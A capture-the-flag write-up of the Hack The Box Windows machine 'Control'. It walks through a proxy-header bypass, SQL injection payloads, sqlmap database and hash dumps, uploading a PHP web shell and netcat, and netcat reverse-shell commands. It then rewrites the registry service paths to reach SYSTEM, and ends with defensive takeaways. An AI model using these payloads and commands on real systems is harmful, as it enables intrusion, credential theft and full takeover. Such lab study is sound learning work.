This page looks best with JavaScript enabled

Hack The Box :: Control

 ·  ☕ 8 min read  ·  🧔🏻 noobintheshell

Control is a Hard Windows box created by TRX. It was released on November 23rd, 2019 and was retired on April 25th, 2020. The users rated the difficulty 6.4/10 and gave an overall score of 4.5/5 to this box.

Control Info Card
Control Info Card


The admin portal of a website is not protected and is supposed to be accessed only through a proxy. This is bypassed using the X-Forwarded-For HTTP header. One of the admin features, the product search, suffers from a SQL injection vulnerability. We use sqlmap to dump the database and get the users’ hashes. We crack hector and manager passwords online. manager is the database user and he has FILE permission which allows us to upload Netcat and a PHP web-shell to get a reverse Powershell as iusr. We pivot to user hector with a Powershell command equivalent to runas and by using the password from the database. The user command history shows that one of the last commands was run to check the _ACL_s of HKML:\SYSTEM\CurrentControlSet. We discover that hector has full access to the sub-key Services which allows us to modify the path of any service executable. We find some service that we can start, change the executable path to point to our Netcat and fire it to get a reverse shell as SYSTEM.

Reconnaissance & Enumeration

Open Ports

An NMAP scan shows the following (partial) output:

$ sudo nmap -sS -sV -p-

80/tcp open http Microsoft IIS httpd 10.0
135/tcp open msrpc Microsoft Windows RPC
3306/tcp open mysql?
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp  open msrpc Microsoft Windows RPC
Read the command and flags explanation here.

We discover:

  • an IIS 10 web server on the default HTTP port, which could run on Windows Server 2016 or 2019,
  • a MySQL server on its default port as well,
  • some MSRPC ports.

Web discovery

We access a website that proposes the “Wifi of the Future”:

website landing page
website landing page

The source code leaks some information:

<!– To Do:
   — Import Products
   — Link to new payment system
   — Enable SSL (Certificates location \\\myfiles)
<!– Header –>

There is as well an admin space /admin.php that shows the following message:

Access Denied: Header Missing. Please ensure you go through the proxy to access this page

A file and directory discovery with wfuzz finds the following information:


Spidering the website we get the following files as well in assets/js/functions.js:


We add to this create_product.php and create_category.php that we find manually. Of all those pages, only update_product.php outputs something:


Gaining Access

Initial shell

The first thing we can try is to bypass the HTTP header check to access the admin page. We can try the following headers that are known to bypass proxies or WAFs in case of misconfiguration or a badly implemented check:


Trying all of them with the IP shows the same error message. However, if we try with the IP that we found in the source code, we get access with:

$ curl http://control.htb/admin.php -H X-Forwarded-For:"

To ease the discovery, we configure this header permanently in Burp so it is sent with each request:

Burp config
Burp config

Now we can access the admin portal through the proxy:

admin portal
admin portal

From there we can search the products database as well as create, delete and update products and categories.

We quickly find out that the search function is vulnerable to SQL injections. Both boolean and union-based. The payload ' or '1'='1 outputs all the products and we can output some database information with ' union select 1, database(), user(),1,1,1-- -:

SQL union-based injection
SQL union-based injection

As we can see, the database name is warehouse and the service user manager.

Let’s dump the whole database with sqlmap and by using the information we already know to speed up the process:

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --dbms=MySQL -D warehouse --technique=U --dump

Database: warehouse
Table: product_category
[4 entries]
| id | category |
| 1  | Default  |
| 2  | Adapters |
| 5  | Servers  |
| 6  | Monitors |

Database: warehouse
Table: product
[9 entries]
| id | tax | name                   | price | category | quantity |
| 26 | 0   | Cloud Server           | 20    | 1        | 2        |
| 31 | 0   | TP-LINK TL-WN722N v3   | 60    | 2        | 15       |
| 32 | 0   | D-Link DWA-171         | 29    | 2        | 5        |
| 33 | 0   | TP-LINK Archer T2UH v2 | 111   | 2        | 25       |
| 34 | 0   | Asus USB-AC53 Nano     | 11    | 2        | 25       |
| 35 | 0   | TP-LINK TL-WN725N v3   | 19    | 2        | 24       |
| 36 | 0   | StarTech USB867WAC22   | 100   | 2        | 5        |
| 37 | 0   | Asus USB-AC68          | 100   | 2        | 5        |
| 38 | 0   | p                      | 1     | 1        | 1        |

No useful information here. Let’s retrieve the MySQL users:

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --dbms=MySQL -D mysql -T user --technique=U --dump

// redacted output:

Using Crackstation to crack those hashes we get the password of hector and manager:

Crackstation results
Crackstation results

We have no way to log in remotely with those credentials but the user manager has the FILE privilege which means that we can try to write files on the system:

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --dbms=MySQL --technique=U --privileges

[*] ‘manager’@‘localhost’ [1]:
  privilege: FILE

Let’s try with a test file and the default IIS document root folder c:\inetpub\wwwroot:

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --file-write=./test.txt --file-dest=c:\\inetpub\\wwwroot\\test.txt
$ curl

Let’s upload a PHP web-shell (p0wny@shell) and Netcat:

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --file-write=./pownyshell.php --file-dest=c:\\inetpub\\wwwroot\\myshell.php

$ sqlmap -u http://control.htb/search_products.php --data=“productName=*” --headers=“X-Forwarded-For:” --file-write=./nc.exe --file-dest=c:\\inetpub\\wwwroot\\nc.exe

Then we can simply spawn a listener and use the web-shell to launch nc.exe and get a reverse Powershell:


We get a shell as nt authority\iusr:

reverse Powershell
reverse Powershell

User pivoting

Let’s try to pivot to user Hector, who seems to hold the flag, with the password we got from the database. We first need the hostname:

PS C:\users> hostname

Then we spawn another listener and run the following commands (equivalent to a runas) to get a reverse Powershell as Hector:

PS C:> $pass = convertto-securestring ‘l33th4x0rhector’ -asplaintext -force

PS C:> $cred = new-object“fidelity\hector”, $pass)

PS C:> invoke-command -computer fidelity -scriptblock { c:\\inetpub\\wwwroot\nc.exe 1234 -e powershell.exe } -credential $cred

Local Reconnaissance & Enumeration

We start to enumerate the running processes, installed applications, whoami /all output and privilege escalation paths with PowerUp.ps1 but nothing stands out.

The Get-History Powershell command only shows the commands executed in the current session. This is lost when the session is ended. As of Powershell 5.0, introduced with Windows 10, a new feature allows persisting the history in a file:

PS C:> (Get-PSReadlineOption).HistorySavePath

PS C:> Get-Content C:\Users\Hector\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
get-childitem HKLM:\SYSTEM\CurrentControlset | format-list
get-acl HKLM:\SYSTEM\CurrentControlSet | format-list

The user queried the registry. The first command lists the child items of CurrentControlset and the second one its _ACL_s. The child items are:

PS C:> get-childitem HKLM:\SYSTEM\CurrentControlset | select -expand name
get-childitem HKLM:\SYSTEM\CurrentControlset | select -expand name
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlset\Hardware Profiles

When Checking the _ACL_s of CurrentControlset and its child item, we see that Hector has full access on Services:

registry — services ACLs
registry — services ACLs

This is quite dangerous as we can alter the configuration of any service to run a malicious command instead, with the privileges of the service user.

Privilege Escalation

We need to find a service that runs as SYSTEM and that we can either (re)start or that is started at given intervals through a scheduled task (unlikely). After digging and digging for the answer, I was not able to pinpoint a particular service. In the end, I chose a lame and noisy path: changing the config of all the services to run Netcat and then trying to restart each service one by one:

// get list of services in registry
PS C:> $regs = get-childitem HKLM:\SYSTEM\CurrentControlset\services | select -expand name

// modify ImagePath to point to netcat
PS C:> foreach ($reg in $regs){ $reg = $reg -replace ‘HKEY_LOCAL_MACHINE’,‘HKLM:'; set-itemproperty -path $reg -name ImagePath -value “c:\tmp\nc.exe 1234 -e powershell.exe” 2>$null}

// start services
PS C:> foreach ($reg in $regs){ $reg = $reg -replace ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\services\\’,''; $reg; start-service $reg 2>$null}

The first service we can start is ConsentUxUserSvc_4d818e but it is run as hector which does not help. We need to remove all services that end with _xxxxxx (where x is a hex number) which seem to only spawn reverse shells as hector. To simplify this, we remove all services that contain an underscore:

PS C:> foreach ($reg in $regs){ $reg = $reg -replace ‘HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlset\\services\\’,''; if($reg.indexof("_") -eq -1){$reg; start-service $reg 2>$null}}

And the next candidate is NetSetupSvc that spawns a reverse Powershell asSYSTEM this time. However, it drops after a few seconds.

SYSTEM reverse Powershell
SYSTEM reverse Powershell

We get a stable reverse shell by spawning yet another one from the SYSTEM shell to get the root flag:

root flag
root flag


The first part of the box was quite straightforward, however, the privilege escalation part took me some time. First, to find the history file, then with all the trial and error to abuse those weak _ACL_s.

As usual, here are my takeaways:

  • never rely on HTTP headers and IP addresses for authentication, they can be spoofed,
  • always use prepared statements to execute SQL statements,
  • review database user privileges regularly and remove all unnecessary grants (in our case: FILE),
  • don’t mess with registry ACLs…ever!


[1] Crackstation

[2] p0wny@shell

[3] Netcat for Windows

[4] Powershell Empire - PowerUp

Share on

AppSec Engineer and CTFer